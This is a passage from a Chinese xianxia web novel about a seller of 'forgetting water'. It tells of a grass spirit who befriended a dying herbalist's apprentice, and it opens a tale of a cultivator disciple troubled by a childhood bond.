突然,它瞥见一座竹屋,整个魂都震惊地跳了起来,“真有人家!”
它连忙飞了下来,“就在前面那座山,半山腰上有座院子,咱们赶快去吧!”
小魂飘在前面引路,自顾自分析,“有山匪的地方怎么会有人,莫非是妖?”
“对,肯定是妖!”它猛地拍掌,“这林中灵气充沛,定然滋养出不少妖精来。”
“能别说话吗?赶紧看看还要走多远。”孟梨食停下来,叉着腰喘了两口气,刚要拔脚继续走,一只手伸了过来。
“路上尖石多,当心。”江余客道。
他右臂伤口处被数根红线缠住,勉强止住血,最表面被孟梨食打了个歪七扭八的花结。
“不用。”孟梨食抬脚绕过对方。
“要到了要到了!”小魂在前面朝他们挥手。
一座简朴小院出现在眼前,院门半掩,可以看见院子一边是块草药圃,另一边安置有不少木架,上面摆满簸箕,里面摊放着各种草药。
小魂重重吸了口气,光是站在这,便有股清苦的草木香气扑面而来。
竹屋的门半敞,想来院子主人就在屋中。
孟梨食朝里面喊道:“你好,有人在吗?我们有人受了伤,可以帮一下我们吗?”
她刚喊完,半掩的门被完全推开,一个身着靛青色束袖杉的老人出来。
几人被迎进屋内。
老人瞧了眼江余客伤口,说了声“伤口有些深”,转身从一排靠墙木架上取下一罐褐色药罐。
孟梨食坐在桌边,瞧着对方为江余客上药,好奇道:
“老人家,这地有山匪出没,你不怕吗?”
老人家呵呵笑道:“你们不知道,再翻过一座山就是欲天宗地界,我曾在采药时救过他们一队弟子,得他们庇护,那些山匪不敢对我怎么样。”
“哦,欲天宗,”孟梨食恍然,“略有耳闻,听说出了个千年难得一遇的天才,极有可能飞升。”
小魂:“哇哦!”
孟梨食余光一瞥,指着墙角小桌上的东西问:“这是什么?”
墙角放有一张小桌与一张软垫,桌上的捣药臼与杵都比正常的要小。
桌角还有一叠纸,上面歪七扭八画着什么,难道是某个被老人家救治过的符修留下护身的符纸?这样的话孟梨食来了兴趣。
其他人随着她指的方向看过去,老人家愣了一下,笑道:“那是我徒弟画的画。”
他走过去将画拿起,轻轻抚摸,“他上个月死了,才八岁。”
画上是个粗糙的人形轮廓,背着个简单两笔画就的背篓,应该是采药人。
“是意外吗?”孟梨食问。
老人家摇了摇头,叹了口气道:“打娘胎出来就有的病,得这种病的人都没活过八岁。
“我查阅无数典籍摸索药方,终于找到治这种病的方法,只差一味药了。
“为了寻到这味药,我带着徒弟爬遍十多座山,跋涉上万里,最后来到这里。”
“找到了吗?”江余客不由得揪心。
“找到了就不会死了。”孟梨食道。
“找到了,”老人家注视着手里的画纸,本来清明的眼眸忽然间浑浊下来,“可惜晚了。”
“嗐,节哀。”孟梨食语气沉重,差点就要拍上对方的肩膀了,“如果你实在难受,
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我可以半价卖你一碗忘情水,忘掉就好了。”
“不必了,有些东西是无法忘记的,哪怕它的存在让你痛苦。”老人将画放好。
孟梨食挑了挑眉,算了,她本就不抱希望。
江余客的伤也包扎好了,告辞前老人家还赠送了不少药膏给他们备用。
“一路跋涉不是容易的事,难免受伤,带着总没错。”
江余客:“多谢!”
孟梨食走在最前面,脚步轻快,山间的风都是清爽的。
江余客和小魂落在后面,走出去没几步,两人不由地停住脚,扭过头,看见老人家转身回屋的背影,屋门被轻轻关上,却没有关紧。
“这里灵气果然充沛,那个欲天宗我还蛮感兴趣的,到时候去看看。”孟梨食说道。
“好啊。”小魂回过神,紧忙跟上。
马车停在山脚,几人顺着另一边较平缓的路下去。
侧边是一处山谷,仿佛一只翠绿色的碗,盈满山川灵气。
一路植被葱郁繁茂,也难怪那老人家会在此处筑屋,一眼望去就能看见不少灵植灵药。
一阵清风拂来,夹杂山间独有的清香,沁人心脾。
孟梨食舒展了手臂,还未细细感受,一道微弱的哭声夹在风声中被送了过来。
“嗯?”孟梨食脚步一顿,可疑地看向四周,“你们听见了吗?”
“哭声。”江余客回应她。
小魂看着两人,集中了注意力去听,正好一阵风再次送来,其中的哭声更加明显。
细细的,弱弱的,连绵不绝的,是小孩子的哭声。
“得亏不是在晚上。”小魂嘀咕道,但在这空阔的山间,骤然响起哭声,怎么想也有些诡异。
孟梨食循着声音向前两步,左右一瞧,视线落在一株草上。
她皱了皱眉,又听了听风中声响,坚定地走到草前。
“哭什么?”她蹲下。
面前这株草不过半米高,长相平平无奇,在孟梨食这种不懂药理的人眼中,与杂草无异。
这株草动了动,没有回答。
江余客好奇地凑上来,“它会说话?”
孟梨食对着面前的草继续道:“以你的修为,够你化形了。”
四周无风,面前的草再次摇了摇身体。
“悲伤过度,灵力紊乱?”孟梨食抬起手,一缕灵力从掌心飘出,没入草顶端的嫩芽中。
草剧烈抖动,下一刻化为一五六岁的孩童,坐在地上直淌眼泪。
“呜呜呜!”
小草妖透过模糊泪眼看着面前的人,吸了吸鼻子,噌的站起身扑进对方怀里。
“呜呜!我胸口痛,我朋友在我身边睡着了,怎么叫都叫不醒。”
几人这才发现,不远处确实有一小草包,没有碑,只有一簇花长在前面。
感受到对方在自己怀里细微的颤抖,孟梨食脑海里响起采药人的话,原来……是这样。
“来,告诉我,发生了什么?”孟梨食扶着对方,轻声道。
小草妖抽气得厉害,努力平复下来,回道:“我是小草妖,不是杂草,是回魂草,能治病救人的……”
他抽抽搭搭地说着:“我第一次化形那天,遇见个药童……”
34. 药童与小草妖(2)
阳光热烈,清风柔和,山间万物自在地呼吸,吐纳这方天地的灵气。
在这山谷内,一株不起眼的草突然晃动起来,挥舞着它每一片叶子。
砰——
绿光一闪,一个小孩子忽然出现。
他穿着一身绿色小袍,眼睛溜圆明亮,小脸红润。
他伸出双臂看了看,又分别抬起两条腿,最后拍了拍自己脸颊,高兴地直蹦跶,“我化形了!耶!我化形了!”
他欢呼着,四处飞跑跳跃,将笑声带到山谷的每一处地方。
“救命啊!”
就在他玩累了准备躺下休息时,一道声音突然在头顶响起。
小草妖惊得跳了起来,抬头一看,一个人正抓着根枯藤,在好几米高的上方晃荡。
对方孩童模样,穿着靛青色束袖衣。
“救命啊!”
对方突然往下坠了一寸,又猛地攥紧枯藤,扯着嗓子喊。
“不要怕不要怕,我会接住你的。”小草妖连忙伸出双臂,往前挪了两步,又往左边挪了几步,做好了接住对方的准备。
“你离远点,我会砸到你的。”药童咬牙喊着,手指逐渐乏力。
“不怕不怕!”小草妖仰头喊道,满脸都在使劲,双手凝出一团绿色,在地面铺成一片云。
上面的人终于坚持不住,大叫着坠下。
砰——
药童陷进这片云中,又被微微弹起。
“耶!”小草妖挥舞双手,“你安全了!”
药童缓缓睁开眼睛,惊魂未定,视野内是蓝得彻底的天,几抹绿色延伸进来,那是树枝。
突然,一张精致的小脸占据他所有视野。
“……哇哦!”药童吓得一个翻身滚了出去,跌回地面。
他这才发现原来有什么东西接住了他,像垫子,但比垫子厚也比垫子软。
他连忙站起身,看着身前这团可疑的绿云,以及坐在绿云上的小孩子,比自己还要小的孩子。
这荒郊野岭的,除了山另一边的小小山匪寨子,根本没有什么人家,怎么会有小孩子?
而且还是这么精致可爱的孩子。
药童有些懵,“是你救了我吗?”
“是啊!”小草妖高兴地拍掌,“我用绿色的云接住你的。”
“绿色的云?”视线落在地面的一团云上,药童惊得连忙后退,“你到底是什么东西?”
“我是小草妖!”小草妖挺挺胸膛,十分自豪道:“我今天才化形,但我很厉害的。”
“妖!”药童脸色都白了,牙齿打颤。
对方丝毫没意识到什么不对劲,一个劲的晃着脑袋道:“是小草妖啦!”
“只是……我不知道自己是什么草……”
他看向对方,眼睛一亮,“不如你帮我看一下吧,我给你看哦。”
说着,他摇身一变,变成一颗不过半米高的草。
望着对方突然消失,药童眨巴着眼睛,下意识看向四周寻找对方身影,直到面前的小草摇着它的枝叶,将他的视线吸引过来。
“变成草了!”
药童大惊,但旋即,他看着面前的草,神情逐渐变为另一种震惊。
砰——
草摇身一变变成了小孩子,小草妖激动地蹦跶在药童身前,“你看出我是什么草了吗?是兰草吗?还是含羞草啊?”
他巴巴拉拉道:“其实我一点都不害羞,我应该不是含羞草。你觉得我长得好看吗?长得好看是不是就是兰草了?”
药童怔在原地,小小的人却将眉头皱起,好像有什么很严重很为难的事情需要他决断般。
小草妖歪着脑袋,凑到对方眼前,“你也不知道吗?”
“不!”药童突然出声,他几乎是喊出来的,将面前的人吓得往后退了退。
“你……”药童看着他,声音发颤,好像夹杂着哭腔,“你只是棵杂草,很普通的杂草!”
这下轮到小草妖愣在原地,呆呆的不敢相信,“我只是棵杂草吗?”
他又委屈又失望,嘴巴都撇了起来。
药童看着对方,又缓缓低下头,突然道:“谢谢你救了我!”
说完,他转身跑开,很快消失在小草妖的视野内。
只留小草妖还在原地。许久后,他低垂着脑袋,抬脚一步一步离开。
本以为他会和对方成为朋友的,现在朋友当不了了,还被告知自己只是棵杂草,这些事足够他难过一整天的。
但他还是想再见到对方,他不知道对方是人还是妖,他只是想和对方说说话。
他留意着,药童很快再次出现,对方背着个小背篓,行走在山间。
药童正专心挖一棵草药,一个人忽然出现在眼前,吓得他一屁股跌在地面。
“呼哈!”小草妖得逞地看着对方。
“小草妖?”药童愣了愣,旋即紧张地看向四周,“你怎么在这?”
小草妖歪着脑袋,不解道:“我为什么不能在这?”
这问题好奇怪,他出生就在这了。
没看见周围有人,药童呼了口气,站起身,拍了拍屁股。
“你找我?”
小草妖围着他蹦蹦跳跳转了半圈,认真道:“我想通了,杂草就杂草吧,我就是棵杂草。”
药童转着脖子去看对方,“那你找我干嘛?”
“我想和你一起玩。”小草妖停下来,眨巴着眼睛看向对方,“我在这里都没人和我说话,你陪我……不不不我陪你说话吧。”
他看向对方的背篓和手里的药镰,好奇得不行,“你是采药人啊,我帮你吧。”
对方热情得让药童不好拒绝,但这种专业活自然不会让对方来做,只能任对方拿过他的背篓过过瘾了。
小草妖走在前面,时不时指着一株草道:“这株要有灵识了,不能挖。”
然后又指着另一株道:“这个看起来像草药诶,挖它挖它!”
药童便举起镰刀跑过来,吭哧吭哧开挖。
日上中天,太阳毒辣得厉害,两人拣了个阴凉地休息。
药童从背篓里翻出一个馒头,他刚将馒头扳成两半,抬头不见小草妖身影。
“人呢?”他环顾四周,低头看着手中已经变硬的白面馒头,想了想还是将另一半放在一旁,将手中一半吃了。
这时,哒哒跑步声传来,小草妖的声音紧跟着响起——<
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p>“看,我给你摘了果子!”
药童应声抬头,便见小草妖怀里抱着数颗红润硕大的果子,笑得不见眼睛。
“给你吃,都给你吃!”小草妖一股脑将果子倒进对方怀里,满脸期待地看着对方。
他的视线实在太过热切,药童不得不将馒头放下,拿起一颗果子,在对方灼灼目光下,咬了一口……
“嗯!好甜!”
“是吧是吧,”小草妖一屁股坐在旁边,“我挑的都是最甜的。”
果子确实香甜多汁,相比之下,这半块发硬的馒头就显得太过寒酸了。
药童悄悄将那半馒头拿过来,正准备将其藏好,却被小草妖眼尖发现,问:“这是什么?”
“这……”药童握着馒头,最终将其递出去,“这是馒头,你要尝尝吗?”
“馒头?”小草妖接过,“好吃吗?”他边问边自己咬了一口,顿时将眼睛夸张地睁大。
“这个好好吃啊,我从来没有吃过!”
闻言,药童松了口气,将手中咬了一口的果子继续吃完。
吃完,小草妖犯了困,他直接躺在草地上,舒服地划动双手双腿,划着划着动作慢了下来。
他眯着眼睛看向从枝叶间隙投下来的阳光,越看越有种晕眩感,“我好困啊……”
他声音逐渐微弱,眼皮耷拉下来。
药童不知何时躺了下来,轻轻打了个哈欠,闭上了眼睛。
两人就着这温和的日光沉睡,山间的清风拂在脸上,舒服的好像一切烦恼都不存在,尤其对于药童来说。
极轻极轻的响声在身旁响起,接着,小草妖感觉有什么东西在拍他的脸,比风要重些。
“我要回去了。”
他听见有人说话,于是费劲地睁开眼睛,只朦胧地看见药童背起了背篓。
见对方翻了个身,眼见着眼皮又要耷拉下来,药童忙道:“我要走了,你也要早点回去。”
小草妖撑着力气支起手朝对方挥挥表示道别,声音闷闷道:“明天见。”
“……明天见。”
人走了,时间也在缓缓走着,等小草妖醒来,身旁早已没了人影,天边的太阳差一点也要和他说再见了。
四周一片暖黄,送来的风夹杂些凉意。
望着四周,小草妖有些茫然,但旋即,他想起药童说的话,对方说明天见。
“明天见,耶!明天见!”
他高兴地跳起来,一蹦一跳地离开了,嘴里还念叨着:“明天见!明天见!”
第二天,两人如约定般再次相见,药童依旧背着他的小背篓,小草妖捧着一把花,蹦蹦跳跳地出现在对方视野内。
第三天,也是这样,还有第四天,第五天,很多很多天。
他们关系逐渐熟络,将漫山遍野都玩遍,一起挖草药,一起滑草,一起挽起裤脚蹚过小溪,一起爬树摘果子……
“我们是最好的朋友,对吗?”小草妖看着对方,眼里的期待几乎溢出来,“对吗对吗?”
“对。”药童坚定地点头,“我们是最好的朋友。”
吹来的风听见了,摇晃的花朵听见了,山涧内的一切都听见了,他们是最好的朋友。
35. 药童与小草妖(3)
两人玩得太过忘乎所以,没注意逐渐西沉的太阳,直到一道声音回荡在林间。
药童一怔,下意识看向声音源头,道:“是师傅。”
“师傅?”小草妖茫茫然,“师傅是什么?”
一道青色人影逐渐出现在林中,越发清晰。
“快!”药童急忙推着小草妖,“快藏起来,不要让我师傅看见你。”
小草妖还没反应过来,被对方推进一簇树丛后,他什么都没来得及问。
确定对方藏好,药童呼了口气,朝来人跑去,“师傅,我在这。”
见到对方,采药人松了口气,“怎么这么晚了还不回来,山里危险。”
药童避重就轻地回道:“下次不会了,我们赶紧回去吧。”
他拉着采药人的手,急切地往回走。
“你也不要太累了,如果还是没有找到那株草药,咱们就去下一个地方。”采药人摸了摸药童的脑袋,苦涩道。
药童不敢抬头看他,只是点头回:“好。”
“我新配了几副药方,明天休息一日,试试有没有用。”师傅继续说。
“好。”
等两人谈话声渐远渐小,小草妖才从树丛后探出头来,看着一大一小两个背影发呆。
“原来这就是师傅啊,”他喃喃道,“有师傅真好。”
他局促地站在原地,看着两个背影消失在视野内。
他很想问问药童,为什么要把自己藏起来不让师傅看见,他的师傅会讨厌自己吗?那他该怎么做师傅才会喜欢自己呢?
他有很多问题想问对方,可是到了第二天,药童并没有出现,他等了许久对方都没出现。
他很担心对方,难道是他的师傅看见自己,不许对方和自己玩耍吗?
他终究没忍住,循着山风指的方向找到一座小院。
他站在篱笆外,踮起脚丫,看见院子里的草药圃,看见晒着草药的木架,看见一座竹屋。
他曾经给药童说,自己的家就在山里的任何地方,晚上时一抬头就能看见很多星星,白天时一抬头就能看见太阳和白云。
他在家里,雨会落在身上,太阳也会照在身上。
但对方从来没有给自己说他的家在哪里,是什么样子。
望着眼前从未见过的景色,他不由地出了神,好想把每一寸都记在脑海里。
这时,一个人推开屋门出来,走到木架前,将堆满草药的簸箕端下来抖了抖,又放上去。
对方有着白色头发,胡须也是白色的,眼神祥和得好像蓝天上的云,软软的,里面会有阳光透下来。
他一下子看入了神,愣愣地看着对方忙活好一会,又转身回到屋里。
小草妖眨巴着眼睛,脚丫踮得有些酸,却依旧舍不得放下。
很快,另一个人从竹屋内出来。
看见对方,小草妖连忙挥手,兴奋不已。
药童猛然一惊,下意识回头看向屋内,没发现什么异常后急忙出来。
“你怎么来了?”
“我在老树下等了你好久,你一直不来,我就来看看。”
老树下是他们一直以来约定见面的地方。
药童皱起眉头,“你赶紧离开这,下次不要来找我了,不要被我师傅看见。”
小草妖吃了一惊,不敢相信对方会是这个反应,他做错了什么吗?
“为什么呀?”他小心地问,“你师傅不喜欢我吗?他不让你和我玩吗?”
垂在大腿处的手掌被紧紧握起,药童呼了口气,道:“对。”
他加重语气道:“我师傅最喜欢吃像你这样嫩的草了,你一定不要被他发现!”
小草妖想说些什么,但对方的神情太过严肃,语气也是从未有过的认真,他不敢回嘴,只能默默点头。
“我知道了。”
“我明天就来找你玩。”药童语气缓和下来,“我……”
他还想说些什么,说,下个月他就要离开了,或者说,他马上就要在土里睡觉了……但,他该怎么开口呢?
最终,小草妖一步三回头地离开了,神情沮丧得很明显,对方才看见这世界没多久,心里比这山间的风还要纯洁,本就是不沾染一点悲伤和谋划。
之后的日子好像又回到以前,药童依旧每天陪着小草妖,每天都很快乐,快乐得小草妖将那天发生的事抛之脑后。
他们依旧在太阳最烈的时候在老树下休息,吃着药童带来的馒头,和小草妖摘的果子。
药童捡了块尖石头,在地上划划拉拉,几下后地面上出现两个小小的人,或者说人形轮廓。
两个小小的人牵着手。
小草妖接过石子,在两个小人头顶画了几朵白云。
他很会画白云,每次等药童时,他就会抬起手,描摹天上白云的轮廓。
“等我画得更好了,我画一幅给你,画在纸上的。”药童侧头看他。
“嗯!”
但很快,药童又失约了。
这天,小草妖在老树下等了许久,围着树干转了一个又一个圈,等到太阳升到最高处,又慢慢降下来。
他坐在地上,撑着脸颊,又站起身,踢着地上的小石子,又抬起头,描摹天上白云的轮廓……
他很想去那座院子看看,也许药童有事要忙,今天不能来了。
但药童跟他说过,不能去院子那,不能被师傅发现。
他不想药童生气,于是继续围着树干转圈,继续踢地上的石子,继续描摹白云的轮廓。
但白云已经不白了,被夕阳染成了橙色。
这时,一道人影出现在林间,被树木切割得影影绰绰。
小草妖下意识躲在树后,他认出那是药童的师傅,他不能让对方看见自己。
然而,他的视线很快落在师傅的怀里,怀里睡着一个人,是药童!
“他睡着了,为什么不在床上睡呢?”小草妖满脑子问号。
他见师傅抱着药童,一步一步,极慢地走远,想了又想,还是选择跟上去。
他看见师傅在他和药童平日玩耍的地方挖了个坑,将药童轻轻地放了进去。
接着,师傅又将土盖在药童身上,好像那是被子似的。
小草妖的眉头越皱越紧,他悄悄挪了过去,一点又一点,接着一下子变回本体,靠近那个逐渐隆起来的小土堆。
越是靠近,越是发现不对劲,为什么……为什么药童身上没有生命气息了呢?
身为小草妖,吸收这方天地灵气化形,他对一切生物所蕴含的灵气和生命气息格外敏感,可是这次,他竟然感受不到药童的生命气息。
就在他疑惑间,坐在一旁发呆的师傅忽然抬起头,视线落在他身上。
对方的目光满是悲伤,一下子又参杂着惊讶。
对方猛地站起身,身体摇摇晃晃。
“竟然在这里……”
师父声音颤抖,他盯着化为本体的小草妖,更加悲伤了,“找了许久的回魂草,竟然在这里……”
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魂草?
小草妖轻轻摇摆,他想看看四周,寻找师傅话里的对象,但好像……师傅是对着自己说的。
“我是回魂草?”小草妖抬头看着对方,无声地问:“可我不是一棵杂草吗?药童说我只是棵杂草啊。”
“呜呜啊啊!”师傅一下子跪坐下来,对着面前的小土堆呜咽,“差一点,差一点就能救你了,差一点啊!”
他重重拍打地面,发泄心中无限悲伤。
仿佛五雷轰顶,小草妖愣在原地,任风将自己吹得左摇右晃。
“原来自己是能救药童的回魂草吗?”
哭了好一会,师傅站起身,抬手伸向小草妖,却在这时,风势突然变大,竟将他收在胸口处的几张纸吹得漫天纷飞。
师傅大吃一惊,“画!我徒弟的画!”
他不顾一切地追逐纷飞的画。
砰——
小草妖化成人形,呆愣地看着漫天纸张,视线一晃,落在一张略有些熟悉的画纸上。
这张画纸在空中飘飘荡荡,缓缓落在土堆前面。
他将画捡起,画上,是两个小小的人,牵着手,头上是两朵悠悠白云。
“我难受,这里好痛。”小草妖扑在孟梨食怀里,哇哇大哭,眼泪像永远不会断绝似的。
孟梨食生硬地拍着对方的背,轻声道:“喝碗忘情水就好了,喝了就不会痛了。”
小草妖抽抽噎噎地看向对方,见对方手腕一翻,一只棕色瓷碗出现手中。
“喝了就不痛了吗?”小草妖问。
“孟梨食!”小魂急忙道,“你别为了完成任务……”
“我没那么丧心病狂。”孟梨食打断道,接着看向怀里的孩子,说:
“喝了这碗水,你就会忘掉药童。”
“忘掉?”小草妖摇头,“我不要忘掉他。”
“可是不忘掉他,你就会一直难受。”
小草妖撇着嘴巴,重新扑进孟梨食怀里,“那我也不要忘掉他。”
孟梨食陷入沉默,其他人也沉默着。
孟梨食看向小魂,“你说,这该怎么办?”
小草妖还小,一直这样悲伤下去只会导致灵力继续紊乱,永远困在原形。
而且他也没有亲人可以开导,这么小的孩子,难道指望他自己明白死亡与失去吗?
小魂挪开视线,卖忘情水就是要将一切效果告诉客人,但也因此,往往有人不愿意喝。
孟梨食叹了口气,对小草妖道:“这样吧,你先暂时忘掉对方,等未来我给你个再记起对方的机会,但能不能记起就看缘了。”
小草妖抬起头,眼里只有茫然。
“来,把那副画给我,”孟梨食道,“等你长大了,某一天,你会再次看见这幅画,然后记起药童。”
小草妖将画递给对方,看着她用一根恍若虚幻的红线将其穿过,然后,画消失了。
“你身上有值钱的东西吗?”孟梨食按照一直以来的程序问。
果然,小草妖摇摇头。
“无的一半也是无,钱我收下了,把水喝了吧。”
望着瓷碗里的液体,他抬头看着面前的人,小草妖问:“我以后还能再记起药童吗?”
看来,对方不知道缘是什么,孟梨食也不多做解释,道:“如果你想,能。”
闻言,小草妖放心地将忘情水喝下,咕噜咕噜,胸口的疼痛真的在逐渐消失,但是……
为什么胸口会痛呢?
他好像忘了什么。
36. 师兄与师妹(1)
几人下了山,乘坐马车继续赶路。
一条黄色大道蜿蜒在山脚,一直往前,两边是高耸的山,山上郁郁葱葱,密林如织。
孟梨食撑着脸颊,视线略略扫过车外风景。
突然,她眸光一亮,急忙喊道:“停车!”
马车猛的停下,车轮摩擦地面发出刺耳声响。
正在马车内吃点心的小魂一个飞扑出去,啪叽一声撞在车壁上。
“早知道……就不凝形了。”它在墙上粘了几秒,滑落下来。
“怎么了?”江余客的声音从前面传来。
孟梨食一把掀开帘子跳下车,望着左边山脉中的一团紫气,思忖一番,道:“走,去看看。”
山脉里,一团紫光冲天而起,强烈的灵力波动将周围一圈植被压弯。
小魂牙齿打颤:“孟梨食,我对你这种作死行为表示强烈抗议,你别忘了,我和你是一条线上的……”
“走。”江余客紧跟着道。
“不是,江余客,你能不能别什么都顺着她。”
还没得小魂抗议完,一只手猛的将它抓住,恍若乘着风疾行,与那团紫光飞快拉近距离。
“这里是欲天宗地界,那里的异动肯定和欲天宗有关。”孟梨食语速飞快,不待她说完,另外两人已经明白她的意思。
孟梨食早就说过要去欲天宗看看,这就是机会。
小魂在空中一阵晃荡,胃里的糕点好像下一秒就会吐出来。
孟梨食一口气从山脚跑到半山腰,将抓在手里的魂随手一扔,任它如风筝般飘飘荡荡升空。
她躲在树干后,面前紫雾弥漫,数只眼睛在其中忽闪忽现,而数位修仙者正被围困在紫雾中间。
这几位修仙者仿佛喝醉了酒般,行为怪异,其中一位忽然抬起了剑,对准前面人的后背直劈而去。
当——
前面的人头也不回,猛地抬剑挡在背后,在这僵持之际,一个旋身将对方踹飞出去。
以此为开端,被围困的众修士混战一团。
呼呼——
似笑声,似风声,旋转着在此处升起,在紫雾中回荡。
“我们打不过,快逃吧!”小魂不知何时飘了回来,扯着孟梨食发梢往后拉。
孟梨食痛得想破口大骂,她毫不怀疑对方带着强烈的私人情绪。
孟梨食抬手一拉,一根红线咻地一声蹿向小魂,瞬间将后者缠成了粽子。
她扶了扶头,不屑道:“你小瞧谁呢?”说罢对江余客道:“去救下他们。”
江余客一愣,听对方那语气,还以为要亲自出手,原来是要我去吗?
他来不及多想,几乎是条件反射般举着剑冲了出去。
他未有多余动作,只是举剑站在那,剑身炸开的金光化为无数金束刺破紫雾。
空中响起“嗞啦”声,仿佛被烧红的铁烙灼烧皮肤,隐匿在紫雾中的妖魔发出尖利惨叫。
“不错啊。”见情况已在掌控之内,孟梨食从树后走出。
“你就会使唤他。”小魂幽幽飘来,身子还被红绳绑着,“不过,没想到他还挺厉害的……不对,是轩辕剑厉害!”
在两人说话之际,眼前紫雾已经完全消散,里面的人也逐渐恢复清明。
“这是怎么回事?”其中老者最先恢复过来,望着四周迷茫,视线落在江余客身上,一晃,落在对方手里的剑上。
“我们恰巧路过,见你们被紫雾困住,便出手相助。”江余客解释道。
“对,我失去意识前确实看见了一团紫雾,还听到妖魔的笑声!”有弟子大惊。
紧跟着又有人道:“我也看见了。”
“是紫魇!我之前就觉得不对劲了。”
管他们怎么想,反正知道是他们出手相助就行。孟梨食好整以暇地抱臂看着他们,看着他们一阵激烈讨论后终于回过神,看了过来。
“多谢三位相助。”带队老者拱手道。
江余客忙道:“举手之劳。”
老者的视线再次落在面前人腰间的剑上,一手抚着胡须,呵呵笑道:“我看少侠骨骼清奇,可有入我欲天宗的打算?”
还未等江余客做出回应,孟梨食轻嗤一声,轻飘飘看过来,“是看上剑了吧。”
老者坦然道:“不单是剑,还有这人。可不是谁都能驾驭这轩辕剑的。”
孟梨食点头,看向江余客,“你什么打算?”
“我没这打……”
“我也觉得,那就参观参观再决定吧。”孟梨食打断道,说罢看向老者,“连我都不认识,想来也不是什么大宗门了。”
带队老者一噎,看向另外两人,却没得到解答。
三人随着队伍去到欲天宗。
该宗门坐落在两座灵山间,周边有三座悬空岛屿,以云层作为底座。
一道虹桥连接到宗门前门处,四周云雾缭绕,将这座虹桥藏匿其中。
而虹桥两侧,云雾之中,不时有巡山的仙鹤掠过,鹤唳清越,更添空灵。
修仙,果然不似人间。
这是江余客第一次踏入修仙的世界,对一切都很新奇。
过了虹桥,来到宗门大门前,恰遇另一队伍回来。
见到带头的人,众弟子连忙行礼喊道:“大师兄!”语气恭敬又钦慕。
“别尘,此行可还顺利啊?”望着眼前飘逸又带着清冷的男人,老者满眼赞赏地问。
“回师伯的话,一切顺利。”云别尘拱手回道,抬起头,视线落在三张陌生面孔上。
突然,他眼睛微微睁大,朝孟梨食拱手,“久闻卖水人大名。”
孟梨食轻哼一声,“这欲天宗还是有见识广的。”
她瞥了老者一眼,对面前人道:“咱们找个地方聊聊。”
她看出对方嗫嚅的嘴唇,犹豫的眼神,她知道,对方就是她的客人。
孟梨食被迎去客来殿,江余客自觉跟了过去,却被几名弟子叫去切磋。
那些少年惊叹他手中的轩辕剑,又是赞赏又是不服输地跑来,囔囔着要挑战他。
江余客几乎没有拒绝的余地,被一群人推搡着带走了。
小魂看看抬手呼救的江余客,又看向随着那内门大弟子走远的孟梨食,想了想,朝孟梨食飘去。
进入客来殿,孟梨食刚落座,便听面前的人道:“卖水人,我需要买一碗忘情水。”
孟梨食看了他一眼,“你有入魔征兆。”
“是。”对方毫不掩藏,道:“我修的是无情道,但有情结哽在心中,修为多月未有进展,只得……”
孟梨食点头,“你既然知道我,那也应该知道我的规矩,告诉我你的故事,然后用你身上一半的钱财买水,能接受?”
“能。”对方毫不迟疑。
孟梨食舒坦地笑了,这是她卖水这么久以来,第一次遇见有人主动找她买水的,都不需要自己劝,真好。
麻烦以后这样的客人多来点。
“我很小的时候,被众长老认为是千年难遇的人才,决定将我培养让我飞升,让我修炼无情道,他们说,儿女小爱怎能和苍生大爱相比。”
云别尘低垂着眼帘,望着桌上的玉盏,继续道:“我想忘掉的人叫惊羽,林惊羽,宗主之女,天资卓越,将会是下任宗主。
“我们是彼此最好的玩伴,却在七岁那年分开,踏上各自的修行道路……”
寒泉的水是刺骨的寒冷,飘在水面上的白雾凝结成冰霜,粘覆在云别尘露出水面的皮肤上。
他眉头紧紧皱起,压制因寒冷而控制不住的颤栗。
寒泉水虽冷,但疗伤效果却是极好,身体内部的灼烫与痛楚已经被压下七八分。<
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《无情剑诀》他苦修十年,这期间修为突飞猛进,是宗门内新一代的翘楚。
几日前他更是独自接下清除密林魔孽的任务,但期间出现点意外,虽然完成了任务,却也受了不小的伤,这才来寒泉泡着。
就在他闭目冥想,运转体内灵气进一步修复内伤时,一道极轻的“窸窣”声传入耳中。
他猛地睁眼,一道青色身影从眼见闪过,没入树丛中。
“谁?”他全身紧绷,佩剑从空间内召出,剑身半出鞘。
窸窣窸窣——
就在他即将拔剑之时,一个人突然探出头来,脸上绽出笑意,“是我啊!”
“惊羽……”云别尘愕然,剑身被缓缓推回鞘中。
林惊羽从树丛中钻出来,走到泉边蹲下,“听说你受了伤,我来看看你。”
她撑着脸颊,目光直勾勾盯在对方腹肌上。
云别尘顺着对方视线低头,猛地反应过来,脸上闪过慌乱,“扑通”一声沉进寒泉中。
刺骨泉水漫过全身,冻的他浑身颤栗,然而,他脸上的红晕仿佛能将这水烧翻腾般。
“害羞什么嘛……”林惊羽反被对方的反应搞得有些不好意思,将头撇过去,他们可是在穿肚兜时就玩在一起的,都看过了。
“你起来吧,我不看你。”林惊羽保持蹲着的姿势转了半圈,背朝寒泉,“真的没看你。”
她盯着身前的灵植,努力聚集思绪,身后的水流声与穿衣声却一下又一下,将她好不容易聚起来的思绪扇开。
“咳,我好了。”
闻声,林惊羽转过身,红着脸抬手将一玉瓶扔进对方怀里。
“我自己酿的灵露,治内伤效果甚好。”
摩挲着光滑的玉瓶,一股温润气息从指尖传入丹田,云别尘将玉瓶收起,“多谢。”
他们十年未见,没想到对方还关注自己,知道自己受伤还特意来送药。
林惊羽扭头,见对方不知在想些什么,一脸傻笑。
她视线微晃,落在对方被水沾湿后变得朦胧甚至有些透明的白衣上。对方发梢滴着的水仿佛会将衣服化掉,衣服下的皮肤隐隐透了出来。
咻地,林惊羽脸颊绯红,慌乱地从空间里摸出一张毯子,狠狠扔在对方脸上。
“别着凉了。”她气势汹汹道。
云别尘被猝不及防一砸,眼前一黑。
“听说你现在很厉害嘛,什么时候我们打一架啊!”
云别尘将毯子抖开披在身上,回道:“你也很厉害,听闻宗主已将你定为下任宗主培养。”
林惊羽轻轻一哼,还没得意地说些什么,又蔫吧下来。
“可是每天修炼好累,那些长老整天将我看着,不让我出宗门玩就算了,还不让我来找你。”
“那你……”
“嘻嘻,”林惊羽狡黠一笑,“我偷跑出来的,我就知道你在这。小时候你每次被我打了就会来这。”
说到这,她忍不住笑了起来,云别尘也发出一声轻笑,并不纠正对方的话——
明明是互殴,然后两个人哭红眼睛在这里不期而遇,之后又是一顿互殴。
他扭过头,学着对方的样子将下巴搭在膝盖上。
“你最近怎么样?”他听见对方问。
“还好,”他回道,“只是没人陪我说话,也没人陪我练剑,怪无趣的。”
他看着对方,在心里补充道:“怪想你的。”
两人闲坐在寒泉旁,东扯西扯地聊天,一起抱怨某个长老古板,又分享着在宗门后院发现的小灵兽,或是某株灵植,却不想对方也看见过。
